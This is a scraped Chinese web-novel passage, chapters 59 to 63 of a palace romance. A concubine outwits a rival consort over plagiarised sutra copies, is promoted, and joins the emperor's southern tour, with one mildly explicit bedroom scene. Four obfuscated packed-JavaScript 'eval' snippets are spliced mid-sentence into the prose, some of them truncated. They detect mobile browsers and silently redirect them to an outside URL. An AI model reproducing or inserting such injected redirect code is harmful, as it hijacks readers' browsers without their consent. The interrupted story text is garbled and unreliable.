“太后娘娘英明,奴婢觉得,也该让淑妃知晓,您绝不是什么寻常百姓家的老太君,可以任由她随意糊弄。” 夕阳的余晖透过雕花窗棂,在永康宫的地面上洒下斑驳光影。 太后一如往常搬,在永康宫中礼佛诵经。 两位嬷嬷立在一旁伺候。 永康宫一等宫女沉香,这时走了进来,“娘娘,淑妃娘娘求见。” 第59章 淑妃的贪 诵经声停下,太后睁开眼睛,眼里闪过一丝冷意。 佩兰嬷嬷弯腰将太后扶起,“让她进来吧。” 沉香应声退下。 “娘娘果然料事如神,”一想到一会会发生什么,佩兰嬷嬷心里就忍不住叹息。 看来宫中真是安稳太久了,让她们都忘记了太后娘娘的雷霆手段。 淑妃轻抬素手,扶了扶鬓上的发簪,听到里面传出请自己进入的声音,便携着小满踏入了永康宫。 小满手里抱着一个匣子,里面放满了经书。 “见过太后娘娘,娘娘万福金安。”她缓缓下拜,“这是这三日臣妾亲自抄写的经书,祈愿太后福寿安康。” 说着小满就将手中匣子,双手呈给了一旁的蕙香嬷嬷。 嬷嬷接过后,又呈给了太后。 太后目光落在那锦盒之上,却并未急于打开,而是抬眼看向淑妃。 “你有心了,只是你与婉妃协同管理,宫中事务繁杂,却还有功夫抄写经书替哀家祈福。” 淑妃还以为太后是在夸奖她,忍不住得意忘形起来,“既是为太后娘娘祈福,辛苦一些也是无妨的。” 太后微微点头,随手翻开经书,目光在书页上缓缓移动。 片刻后,突然指着其中一个“福”字,抬头看向淑妃,语气略带疑惑地问:“你这‘福’字的写法倒是独特,与以往所见大不相同,为何要如此书写?” 她心中“咯噔”一下,心中暗骂姜舒月。 但很快镇定下来,强装镇定地笑着说道:“臣妾想着以独特之法抄写,更显诚意,希望能为太后求得更多福泽。” 太后微微一笑,转头对佩兰嬷嬷说道:“去把哀家书房里那本御赐的《金刚经》取来。” 佩兰嬷嬷颔首,不多时便将经书取来。 太后将淑妃进献的经书,与御赐《金刚经》并排放在桌上。 “哀家这里有本《金刚经》,今日,不妨就在这永康宫里,当着哀家的面,再临摹一段,也好让哀家瞧瞧你那独特的书法。” 说着已经有太监搬来一张书案,放置在淑妃面前。 她脸色瞬间变得煞白,双手不由自主地颤抖。 就姜舒月那狗爬似的字,若她当场抄写,必定露馅。 是不是太后已经知道了什么?淑妃脑子里控制不住的乱想。 但箭在弦上,她只好硬着头皮拿起笔。 身边的小满不用说,身上冷汗已经将衣服濡湿。 加上永康宫中冰鉴数量繁多,凉爽的空气激得她起了一身的鸡皮疙瘩。 淑妃心慌意乱,握着笔的手也止不住地哆嗦。 好不容易写了几行,不是墨水滴在纸上,洇出一大滩墨迹来;就是宣纸不小心被扯破。 看她写得磕磕绊绊的,太后也不说话,坐在椅子上,安逸地品茶。 明明永康宫内凉爽无比,淑妃的额头也还是冒出了细密的汗水。 “写得如何了?” “刺啦——” 太后骤然出声,将本就如同惊弓之鸟的淑妃吓得手下一个用力,刚刚写好的宣纸便一分两半。 “臣妾…臣妾……”她嗫喏半天,说不出话。 “是不是,写不出一模一样的字了?”太后慢条斯理地说着,扯下淑妃身上最后一道遮羞布。 小满承受不住这份压力,扑通跪了下来。 淑妃试图寻找借口,“太后,臣妾……臣妾连日抄写,手有些发软,恐怕难以执笔,还望太后体谅。” 太后的脸色瞬间冷了下来,“究竟是身体不适,还是另有隐情?你莫不是以为哀家老眼昏花,看不出这经书的端倪?!” 淑妃吓得浑身一颤,“扑通”一声重重地跪倒在地上。 磕头如捣蒜,额头与地面碰撞发出“砰砰”的闷响。 声音带着哭腔哀求道:“太后恕罪!臣妾……臣妾实在是有苦衷,求太后饶了臣妾这一回吧!” “苦衷?”太后冷哼一声,抬手将送来的经书打翻在地,“你有何苦衷?分明是你冒用他人抄写的经书,妄图在哀家面前邀功请赏。” “这般行径,实在是有失后宫妃嫔的体统,丢尽了皇家的颜面!” 淑妃哭声愈发凄厉:“臣妾一时鬼迷心窍,犯下大错,求太后开恩,饶了臣妾这一回吧,臣妾再也不敢了……” 一旁的小满也跟着一起磕头。 太后冷冷地看着跪在地上苦苦求饶的淑妃,心中的厌恶之情溢于言表。 “你身为后宫妃嫔,不思恪守本分,竟妄图以这般卑劣手段欺瞒哀家。从既日起,收回你协管六宫之权,禁足琼华宫半年,好好静思己过,若再敢有此等行径,定不轻饶!” 淑妃听闻此罚,只觉眼前一黑,整个人如坠冰窖。 永康宫的太监们上前,架起瘫软的淑妃,将她拖出了永康宫。 “在那里蹑手蹑脚地作甚?”福安刚准备出去放下水,就看到福明在宣明殿门口不停向里面张望。 福明看到福安后,眼前一亮。 凑到福安耳边一阵耳语。 福安一听,水也不放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488702|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,转身回到了殿内。 “陛下。”姜舒月现在在他心里的紧要程度,已经超过了大部分的人,一听说有关她的事情,福安便决定马上禀报。 “说。” “淑妃娘娘被太后下旨,禁足琼华宫半年。” 手上的毛笔停下,“可说了是为何。” “说是冒用他人之物,欺瞒太后。” 至于谁是他人,两人都心知肚明。 福安之前送去药油时,还暗示过姜舒月可以向贺云徽示弱,结果人闷不吭声就做成了。 贺云徽倏然一笑,还以为她真的选择逆来顺受了。 没想到给了自己大惊喜。 “走吧,摆驾弦月宫。” “是。” 难得没有烦人的事物缠身,姜舒月舒服地睡了一觉。 一觉起来整个人神清气爽。 “娘娘,”小方子快步走了过来,“真的如您所料,淑妃娘娘真的被太后娘娘发现了,现下已被禁足半年。” 【叮——恭喜宿主完成任务,获得金色道具奖励:九转孕灵丹:服下后必怀双胎,且子嗣诞生时天降异象(彩凤绕梁)。】 姜舒月挑眉,好家伙,500积分一颗的道具! 非酋的春天,这就要来了吗? 难怪这任务不让用道具辅助,原来奖励这么给力。 “现在满宫的宫人,都在议论这件事情。”小方子脸上一副扬眉吐气地表情。 “但是娘娘,奴才还是有些不明白,您怎么能确定大皇子,会在太后娘娘面前说出这件事呢?” 这话一出,旁边伺候的几人也都双眼亮晶晶地看着她。 姜舒月喝了口茶,缓缓说道:“其实这事也不难猜,小皇子年岁还小正是对事物好奇的时候。对于没见过的字体,自然放在心上。” 一旁的扶风忍不住插嘴,“可万一大皇子没瞧出来,或者看出来了他没说呢?” “你说的也在理,所以这次,我赌的,就是淑妃的贪。” 见众人还是不解,姜舒月耐心解释,“小皇子现已开蒙,书法必然是按照常见的字体教授。猛然瞧见这样新奇独特的字体,定会印象深刻。” 停顿片刻,继续说道:“今日我让明夏把经书在他面前过了明路,就相当于在他心里种下了一颗种子。他生性单纯,一旦心里有了疑惑,就憋不住。” “只要淑妃把经书送到太后宫里,被小皇子撞见,这颗种子就会发芽、破土,那她的把戏就藏不住了。” “所以,我在赌。” 第60章 是她技不如人 赌淑妃被之前的赏赐冲昏了头,赌她贪得无厌,还想继续蒙骗太后。 “其实淑妃娘娘只要忍住,别那么急切地想要在太后面前露头,我这招,未必能够有效。” 扶风崇拜地看着姜舒月,忍不住拍手叫好,“娘娘您这一招实在是太厉害了!” “还好一切都还顺利进行,不然我这手,真的是不能要了。” 她可是连着抄写了一星期的经书,还好有贺云徽送来的药油,不然换谁都受不了。 这种折磨,比直接打你还让你难受。 接下来的一段时间,她是再也不打算写字了。 都要叫淑妃整出PTSD了。 没了淑妃在后面穷追猛打,姜舒月也放松了下来,又恢复都按了之前咸鱼的样子,瘫在摇椅上,享受着几天来第一次悠闲的时光。 “皇上驾到~” 门口突然唱到,姜舒月猛地坐起来。 淑妃一被禁足,贺云徽就过来了。 是为了淑妃,来找她出气的? 姜舒月拿不准贺云徽的想法。 “妾身见过陛下。”姜舒月拿不准贺云徽的想法,“陛下圣安。” 今日贺云徽像是先换了衣服过来的,一袭月白色锦袍,腰间束着一条墨色玉带,越发显得身姿挺拔。 脸上带着惯有的温和笑意,看不出来是否在生气。 “免礼,”他伸手轻轻扶起姜舒月,想到之前她手腕红肿,又问道:“送来的药油可有用了?” 姜舒月一听,暗自松了口气,不是来问罪的。 她乖巧地点点头,“用了,谢陛下赐药。现下已经好多了。” 贺云徽牵过姜舒月的手,路过书房时,想了想,索性将人拽了进去。 后面的人想跟着进去伺候,贺云徽却直接将门关了起来。 “陛下?” 书房里就剩下了贺云徽和姜舒月两个人。 “今日太后罚了淑妃。” 姜舒月惊地手指头一颤,难道猜错了,他真的是为了淑妃来的? 还真是一眼就看到了头,贺云徽打量着她的脸。 “陛下……”一开口,嗓子竟有些干哑。 贺云徽却没有再让她继续说下去,“淑妃无缘无故责罚,为何不告诉朕。” 姜舒月垂眸盯着他腰带上的玉石,“淑妃娘娘说是为了太后祈福……” 话将说不说,贺云徽也懂了她的意思。 为了太后祈福,她无法拒绝。 姜舒月腰间突然一紧,温热的呼吸拂过耳畔,“在朕面前,你倒是会给人留体面。” 只可惜…… 贺云徽一把掐住她的小细腰,将人抱坐在书案前。 低头拽住她胸前襦裙束带一扯。 衣裙微敞开。 刚开口要说话的姜舒月,被贺云徽一把擒住唇。 从书桌到贵妃榻,所到之处一片狼藉。 地上都是散落下来的衣物, 最后结束时,姜舒月都软成一滩水了。 等到贺云徽抱着她去沐浴完了之后,两人躺在床上。 “你做得很好。”他突然说道。 刚刚他没有错过姜舒月眼里一闪而过的委屈,“本以为你会向朕哭诉。” 姜舒月本来脑子还像一团浆糊,闻言清醒不少。 “您,不怪妾身?”她翻身趴在贺云徽胸膛上,“妾身以为,您生气了。” “朕为何要生气?”他的手指滑过姜舒月的腰身。 姜舒月躲了一下,“妾身以为陛下是生气,生气妾身做局,害了淑妃娘娘。” 她说这话的时候,心里还是有些打鼓的。 本来做的这些事情时,就没指望能够真的瞒过贺云徽。 皇宫是贺云徽的皇宫,他必定手眼通天。 自己一个小小的贵人,一无根基,而无人脉。 贺云徽想要知道什么事情,只需要动动嘴皮子,底下的人谁不尽心? 但姜舒月还是在赌,赌贺云徽,喜欢自己坦白。 贺云徽捉过她的手,放在唇边,“确实有些生气。” 怀里的人儿身体抖了一下,“生气你不听朕的,抄那劳什子的经书。” 事实证明,她赌对了。 “何况你是为了自保,朕很高兴你有反击能力。” 若她一味只等着自己去救,贺云徽反而认为姜舒月扶不起来。 “淑妃败了,是她技不如人,”贺云徽坐起身子,将人轻松的抱在了怀里,“你记住,只要你不主动去害人,朕永远可以为你兜底。” 这句话的含金量太高了。 姜舒月立刻抬脸起来看向贺云徽。 “怎么?”他挑眉,“不信朕?” 她连忙摇头,眼眶突然一红,“陛下,您怎么那么好。” 姜舒月发誓,再也不偷偷骂他是狗男人了。 看人又有要哭的趋势,贺云徽叹息,“怎么这么爱哭。” 伸手抹去她腮边的泪,低头在她耳边亲了亲。 姜舒月痒的瑟缩了一下,埋在贺云徽的脖颈间,白皙的后背就这样映入贺云徽的眼里。 看得他心里又是一动。 对着她的雪白的肩膀又亲了一下。 姜舒月又迷糊了起来,只隐约听到贺云徽又说了什么,“真真是太娇了。”之类的话。 之后便彻底没有意识了。 贺云徽到底还有些在意她的手腕,召来明夏问询。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492730|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “娘娘前两日手腕还是有些肿的,用了陛下送来的药油,半个时辰之后便消了肿,之后就没有疼过了。” 他点点头,“你好好照顾她,宫里有什么不妥,立刻来报。” 明夏明白贺云徽的言外之意,立刻应是。 第二日再醒过来时,贺云徽已经离开了,空气中还弥留了些龙涎香的气味。 “娘娘,陛下走的时候看您还在睡,就没让叫您,可要起了?” 见人醒了,扶风掀了珠帘进来。 姜舒月浑身酸痛,像是被车碾过一样。 她点点头,“起吧。”嗓子沙哑得厉害。 扶风忙给她倒了杯温水。 一连喝了3杯,才缓解了一些。 “可要提些热水过来,您去去乏?” 姜舒月点头。 好好地泡了一会之后,浴房外间有人急匆匆地跑进来。 “娘娘,外头来人了,让您出去接旨。” 姜舒月愣了,接旨,接什么旨? 好在扶风和静玉手快,几下,姜舒月就穿戴利索。 “姜贵人接旨。”来宣旨的还是上次那个宣旨小太监。 手里拿着一卷明黄色的卷轴,脸上笑眯眯的。 “妾身姜氏接旨。” “奉天承运,皇帝诏曰:咨尔姜氏,秀毓名门,德昭闺阃,秉持恭顺之仪,娴**礼容之度。今朕嘉其贤良,特晋尔为从四品嫔位,钦此——” 从四品,嫔? “嫔妾谢陛下恩典。” “奴才恭喜姜嫔娘娘贺喜姜嫔娘娘了。”小太监姜圣旨交入姜舒月手中。 扶风飞快地跑回到屋里,拿出一个荷包。 “多谢公公了,公公拿着吃茶。”姜舒月接过荷包塞入宣旨太监手里。 那太监并不推辞,笑呵呵地接了过来。 待人走了之后,众人再也压抑不住心中的兴奋,“恭喜娘娘贺喜娘娘!” 姜舒月也笑着,“都起来吧,扶风,去拿些银子来,都有赏。” 众人脸上的笑更开心了。 娘娘晋位了,自己也有赏银,今天就是好日子! 宋滢听到消息,脸上却没有太多的表情。 但是指尖掐的泛白。 良久,她深呼吸一口气,放下手中的梳篦。 如今送来的新人里,一个怀孕两月,一个晋位速度好似坐了马车一般。 更让宋滢难过的是,自己被禁足许久,贺云徽却从来没有派人来看过自己。 她看着铜镜里的自己,露出一个苦涩的笑,“陛下是否已经将本宫忘了?” 都说帝王薄情,可宋滢不信。 不信贺云徽心里,一点都没有自己。 第61章 六月初六,宜出行 丹枫忙过来宽慰宋滢,“娘娘,您千万别这么想。陛下与您相知相识多年,往日情分深厚,何况您还有大皇子和二公主,陛下又怎么会忘记您呢?” 宋滢冷笑一声,抽回自己的手,别过头去,“本宫在这冰冷的宫殿里日夜煎熬,他却在别处与新人欢好。在他心里,本宫怕是早就没了位置。” 她从见到贺云徽,就对他一见倾心,日思夜想都想要嫁给他。 如今如愿了,却觉得自己离他原来越远。 想着,泪水不受控制地从脸颊滑落。 丹枫眼眶也红了,赶忙用手帕轻轻为宋滢拭泪。 哽咽着说:“您被禁足只是一时的,您想想,以前皇上对娘娘何等宠爱,这些情意怎么会说没就没呢?” 宋滢心里清楚,贺云徽这是在逼自己,也是在逼父亲低头。 事到如今,自己只能忍。 忍过了禁足期,才能以谋后事。 看宋滢不再哭泣,丹枫又说道:“如今您该好好调养身心,等到陛下南巡回来,您还是那个风华绝代的贵妃娘娘,何愁陛下不会回心转意呢?” “你说得对,”她眼里又冒出火花,“就凭一个小小嫔位,成不了气候。” 草长莺飞,转眼便是仲夏,六月初六,宜出行。 宫里提前半个月开始,就在收拾行装。 宋滢淑妃两个后宫里位份最高的妃子被禁足。 太后不喜长途跋涉,就留在了宫中。 一大早,贺云徽便携着九名妃嫔去永康宫辞别。 “大约何时归京?”太后年轻的时候经常跟着先皇出行,想着这一趟怎么也要近两个月。 果然,贺云徽一思索说道:“中秋前便可到京都了。” 太后点点头,嘱咐道:“路途遥远,尹宝林又怀有身孕,你多关心关心些。” 事关自己的孩子,贺云徽自然是没有不应的。 又听太后叮嘱姜婉清和兰昭容。 因为淑妃被免了六宫协管之权,这事就落到了兰昭容头上。 “如此,去吧。” 一行人便拜别了太后。 距离码头还有一段行程,自然是不能叫这些主子贵人走着去的。 马车早已在备好。 姜舒月如今的位份,在这几位一起出行的妃子里算中等,所以她的马车相对没那么小。 位置也比较靠前。 方静姝位份低,又没侍过寝,自然被安排到了后面。 姜舒月往马车那走时,还路过了方静姝。 两人相视一笑,姜舒月拿手指比了比前头,意思是先走了,回头再聊。 方静姝捂嘴笑了笑,跟她挥手。 弦月宫的行囊则是在后面的马车上,小方子小路子留在那里看守。 因为她要出行,弦月宫的宫人不能都去。 明夏会医术必然要随行,静玉负责给姜舒月打扮也得随行。 扶风更是不用说。 小方子和小路子虽然是太监,但是毕竟还是男人。 做事又稳重细心,跟着还能帮着处理一些事情。 几人商量来商量去,最后把小顺子留了下来看家。 好在如今能搞事情的两个大佬都在禁足中。 姜舒月自己也不在宫中,哪怕中途宋滢先一步解禁了,想要做些什么也施展不开。 再不济,自己还有123可以预警。 也放心的把弦月宫交给小顺子。 几个丫鬟扶着姜舒月去她的马车上。 尹宝林因为怀孕了,马车自然也不能小了。 只是路过她时,又用那种仿佛姜舒月抢了她男人的表情,恨恨地瞪着她。 看得姜舒月一行人无语至极。 不过好久没有见到尹宝林,姜舒月还是吓了一跳。 无他,现在的尹宝林孕吐厉害,整个人瘦了一圈都不止。 衣服穿在她的身上都显得宽松许多。 果然现在不叫自己怀孕是对的。 尹宝林看着她款款而去的样子,紧咬着下唇。 五日前,贺云徽的晋位旨意一下,尹宝林的翠竹轩自是少不了一顿打砸。 她连孩子都没有,两个月内就连升两级。 自己明明怀了身孕,陛下却连个位份都不给她升。 长长的指甲嵌入豆蔻手上的肉里。 “娘娘您别生气,”豆蔻忍着痛,轻声说道,“只要您安全生下孩子,几个姜嫔都不是您的对手。” 一番话安慰到了尹宝林。 莲心在一旁欲言又止,顾忌尹宝林现在不喜听她说话,就也没说什么。 马车虽然不算太大,却也精致非常。 掀开帘子一看,两侧的座椅上铺着织锦,中间的矮几上放了一个青色的瓷瓶,里面插着一束海棠花。 再往里面,则是能容下两人的主位。 上头放着一个由冰丝制成的软垫,触感爽滑,透着丝丝凉意。 姜舒月甫一进入,便感受到了凉爽。 仔细一看才发现那案几竟然还是一个冰鉴。 两边车壁各嵌了一个柜子,她打开左边的一看里面分格有序,放置着各类精致的小零食。 从甜糯的桂花糕到酥脆的核桃酥,一应俱全。 右边的竟然放了好几本姜舒月没看过的话本子,她一看就知道,这是贺云徽吩咐手底下的人办的。 她当下就拿出一本翻看。 三个丫鬟也都是第一次坐马车,新奇得不得了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492731|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 到处摸个不停。 “娘娘今日起的早,要不再歇会?”马车一会行驶起来,看书可能少不得要难受。 姜舒月摇摇头,“这会子不困,你们也别忙活了,坐下歇着吧。” 马上拢共就那么大点地方,她们三个在里面满哪晃荡,看得姜舒月眼花。 三个丫鬟对视,扶风吐了吐舌头,挨着姜舒月坐了下来。 “那您可要喝点什么?”扶风看了看柜子里的吃食问道。 “泡点茶吧,再将那桂花糕拿出来。”她懒散地倚着垫子,眼睛不离话本。 早上起的急,等收拾好了,也没多少时间吃早膳了。 囫囵吃了几口粥,就跟着贺云徽去永康宫。 这会已经快午时了,自然是饿的。 约莫过了半个时辰左右,福明过来给她带话。 “陛下说,再有半盏茶的时间就启程了,姜嫔娘娘不可多食,以防途中晕车难受。” 伸手还想拿一块桂花糕的姜舒月停下,撇撇嘴,“劳烦福明公公了,回去替我谢过陛下。” 嘴巴寂寞了起来,姜舒月只好把所有的注意力放在了话本上。 “启程——” 前方传来声音,马车车轮转动起来。 宫门大开,百官在宫外跪地送行。 再往外面行驶,官道两边跪满了百姓。 口中高呼皇帝万岁,声音震耳欲聋。 姜舒月听到外面喧闹的声音,到底还是没忍住,掀开帘子的一角,向外看去。 阵仗之大,让她不由得咋舌。 倒是让她想起了一部现代非常红的电视剧。 里面的假格格被皇上带巡街,百姓也是如此跪了满地。 看了一会,也觉得没意思,放下了帘子继续看话本。 按照这行驶速度,要想到码头,最起码还得大半天的时间。 可能因为早上起得确实太早,加上车马晃悠,姜舒月很快又在椅子上犯困起来。 “啪嗒——” 手里的话本因她睡着了掉落下来。 好在一路上都比较平稳,姜舒月睡得还是比较沉的。 不知多了多久,姜舒月听到有人叫她。 “娘娘,娘娘。”扶风轻轻地拍了拍姜舒月的手。 “怎么了?”她睡眼惺忪。 扶风给她披上披风,“陛下下令,原地整修、用膳。” 姜舒月点点头,睡了一觉,精神倒是好了一些。 扶风搀扶着她下马车。 停下来的地方是地势开阔的树林。 “姜姐姐。”方静姝看她下了马车,就过来同她说话。 看她脸色不太好,姜舒月有些担忧,“脸色怎的如此难看?” 第62章 夫人该安寝了 方静姝温柔地笑了下,“无碍的,就是在马车中有些闷。” 闷? 姜舒月看了一眼她的马车,心里有点明白了。 方静姝进宫到现在都没有侍过寝,底下的人都对这个方才人无甚关心。 准备的马车也不太好,透气性差。 她身体自打进宫病了一次之后,时常会有些胸闷气短。 所这一下午在马车上有好几次都差点没忍住,吐出来。 “待会你就别回你的马车了,跟我一辆。”她吩咐明夏去拿个香囊过来。 之前为了怕自己晕车晕船,提前让明夏都准备好了香囊。 方静姝也知道姜舒月是担心自己,也不推辞,点点头。 若烟重重松了一口气。 在马车上的时候,她们就劝自家主子去寻姜嫔娘娘。 偏偏主子怕给姜嫔娘娘添麻烦,硬是忍到了现在。 好在下了马车之后,空气流通起来,方静姝的脸色也渐渐好起来。 “方娘娘别嫌弃,”明夏拿了三个香囊过来,恭敬地递给方静姝,“里面是一些明目提神的药材,要是觉得恶心不舒服,放在鼻子下闻一闻。” 又把另外两个,给了若烟,“这个劳烦给若雨。” “明夏姐姐客气了,这下我们就不用担心晕车难受了。”若烟高兴得接了过来。 “多谢明夏姑娘。”方静姝颔首道谢。 扶风和若雨去后面提了膳食过来,“娘娘,可以用膳了。” “回马车上吃把,”姜舒月看了看外面的情况,“树林蚊虫多,别叫什么毒虫叮咬了。” “是。” 几个丫鬟又将两位主子扶上了姜舒月的马车。 两辆马车的区别一下子就明显了起来。 好在方静姝和若烟若雨并不是那等眼皮子浅的人。 方静姝本就喜欢姜舒月,当她亲姐般亲近。 两个丫鬟更温柔得不得了,时常也会跟着方静姝来弦月宫玩耍。 和扶风几个相处的甚好。 “也不知道什么时候能上船。”吃完饭,方静姝感叹一句。 马车虽然也是方便,但毕竟空间狭小。 姜舒月忍不住调笑她,“坐马车都这般难受了,要是上了船,这一路摇晃的,可不得给你晃恶心了。” 方静姝有些不服气,“那可说不好,到时候上了船就是姐姐你难受了呢,回头可别找妹妹我诉苦。” 她脸颊鼓鼓的,让姜舒月笑得更大声了。 贺云徽今天陪姜婉清在用膳,隔着几辆马车,也仿佛能听见姜舒月的笑声。 姜婉清看了看他的表情,略一思忖,便笑了笑,“也不知道妹妹第一次出行,是否习惯。” 贺云徽听了,抬起眼看她,“该是很开心吧,毕竟之前,她连你们姜府的后院都不曾出过。” 她脸上的笑僵了僵,她没想到贺云徽竟然连这些事情都知道。 当下作出一副愧疚地表情,“母亲她,确实对妹妹少有关注。偌大一个姜府,每日都是母亲在操持,想来是疏忽了对妹妹的关怀。” 贺云徽听了也没再说什么,蓦地失去了用膳的兴致,放下筷子就走了。 “恭送陛下。” 姜婉清缓缓屈膝后站起,“看来我们这位陛下,对她倒是有些情谊。” 她突然有些不确定,母亲说的‘去母留子’的计划,是否还可以成功进行。 “姜嫔娘娘,陛下请您去前头。” 马车外响起福禄的声音,姜舒月一愣,掀开帘子。 之前前头传来消息,明明说他今天在陪姜婉清。 “我这就过去,”她下了马车,又跟方静姝说道:“你继续在这待着吧,别回你那了,回头再难受了。” 方静姝点点头,“姐姐快去吧,不用担心我。” 要走前她想了想,又从明夏那边拿了一个薄荷香囊。 这不像是在宫里面,哪怕是知道贺云徽来找自己,起码看不到别人。 现在在外面,只要有动静,探个头就都能看到是什么情况了。 所以姜舒月相当于是在众目睽睽之下,朝着最前头走去。 再一次被瞩目,姜舒月脚趾头暗暗扣了扣地。 “陛下又召见她了。”清姿看着姜舒月打马车便经过,转身又进入到兰昭容的马车里。 兰昭容正在哄宁华公主,让她多吃一些。 回头就听到清姿进来抱怨。 兰昭容抬头看了她一眼,她立刻意识到自己说错话了。 宁华公主就在边上,兰昭容从不在女儿面前和丫鬟抱怨贺云徽。 只好悻悻地坐了下来。 “陛下用过膳了吗?”姜舒月随意问道。 福禄弯了弯腰,“回娘娘,已在婉妃娘娘那用过了。” 她点点头,素手轻轻搭在扶风手上。 “陛下,姜嫔娘娘到了。” 贺云徽的马车是最大的画轮车,用现代的话描述,那就是一辆拖挂房车。 通体都是金色的,马车上垂挂的流苏岁风轻轻摆动。 门从里面被打开,“娘娘,陛下请您上来。” 从外面看就已经知道,这画轮车里肯定是极尽奢华的。 “参见陛下,”她低下头,露出一截白嫩的脖子,“陛下万安。” 贺云徽手里拿着一本兵书,看到她进来就将手里的书放了下来。 “过来。”他指了指自己的腿。 姜舒月走过去,轻轻坐在他的腿上,还调整了一下身体。 福安下去轻轻把门合上,将空间留给了两位主子。 “还有五个时辰才到码头,”他捏捏姜舒月的腰间软肉,“坐马车可有不舒服?” 她摇摇头,脸靠在贺云徽的肩膀上,“完全没有,嫔妾上车没多久就睡着了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504138|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说话的气息吞吐在他的脖子上,有些痒。 “还看了陛下给嫔妾准备的话本,”她拿出那个香囊,“这是嫔妾让明夏准备的,里面是一些提神醒脑的药材,您要是困倦了,可以闻一闻。嫔妾还让她加了一些香料,闻起来香香的。” 她娓娓说着自己的一些事情。 都是小事,但是贺云徽却很喜欢听。 他接过香囊,放在鼻尖轻嗅,“不错。” 姜舒月隐约觉得他心情不是很好,“陛下心情不好?” 贺云徽低头睨了她一眼,“胆子大了不少,敢揣测圣意了。” 她搂上贺云徽的脖子,“怎么会是揣测呢,嫔妾关心您呢。” 关心? 他心里细细咀嚼这两个字,脸上的表情也柔和了下来。 “如何看出朕心情不好?” “因为您的表情,”她努力学着贺云徽板着脸的样子,“这样。” “……” 贺云徽一言难尽地看着她,过一会,笑了出来。 姜舒月晃晃脚,“您笑了,那就不可以再不高兴咯。” 她笑得开心,贺云徽看着她,将唇贴在了她的额头上。 “这样就想让朕高兴,”他扣着姜舒月的手越来越紧,“姜嫔娘娘是否有些太敷衍了?” 她胆子越发的大了起来,伸出一只手指,轻佻地挑起贺云徽的下巴。 “哪里来的小子,这般大胆调戏本夫人?” 贺云徽挑眉看着她。 “不过看你相貌丰神俊朗,本夫人正好缺一贴身伺候的,你就跟本夫人回府,贴身伺候吧。” 说话间自己嘿嘿笑了起来,像是偷了腥的猫。 贺云徽刚要说话,福安敲了敲车壁,“陛下,李太医来了。” 他一顿,轻声咳了一下,“让他进来。” 姜舒月连忙收起笑,手忙脚乱地从贺云徽身上坐起来。 李太医进来的时候,姜舒月已经在一旁正襟危坐。 李太医一愣,“臣参见皇上,参见姜嫔娘娘。” “不必多礼,起来回话,”贺云徽略一抬手,“尹宝林身体如何?” “臣刚给宝林娘娘请完平安脉,”李太医一直在替尹宝林保胎,“宝林娘娘胎像还算稳实,只是现在孕吐较为厉害,气血稍有不足。” 他听了眉头一皱。 “不过只要日常多注意调养,不要过度忧思,饮食正常,即便孕吐多一些也是无碍的。” 贺云徽点点头,又指了指姜舒月,“给她也看看。” 姜舒月伸手指了指自己,我吗? 不过大老板有命令,姜舒月也就当时提前请平安脉了。 将手伸了出去。 过了一会,李太医收起手枕,朝贺云徽拱手回禀。 “姜嫔娘娘身体稍有亏虚之象,气血运行略缓。” “可会影响受孕?” 第63章 诬陷不成,要来硬的? 贺云徽的声音急切了一些。 李太医沉吟过后,说道:“还是有一定的程度上影响了受孕,虽说并非大病,但是还需要多多调理,方能谈及其他。” 原来是想要知道,为何这么多次侍寝都没怀上。 知道了自己想要了解的,贺云徽便挥手让他下去。 待到马车上就剩了姜舒月和贺云徽两人时,姜舒月又起身坐到了他的身上。 “陛下,”她抱住对方,“嫔妾是不是不会有孩子了?” 既然贺云徽知道了自己不容易怀孕,姜舒月也要好好在他面前卖卖惨才行。 他双手紧扣姜舒月的腰身,“别胡说,太医院那么多太医。待南巡之后,朕会让他们给你好好调理身体。” 怀里的小人儿声音闷闷地,一听就知道她又要哭了。 “就算,就算朕的月儿没有孩子,朕也会对你好的。” 只要你好好的就行。 贺云徽是想要姜舒月和他的孩子,但是孩子这种事情也看缘分。 若是身体实在不允许,没有孩子也不会影响什么。 大不了将来从别的妃嫔那抱养一个。 想到刚刚她调笑的样子,贺云徽又有些后悔叫太医给她看脉了。 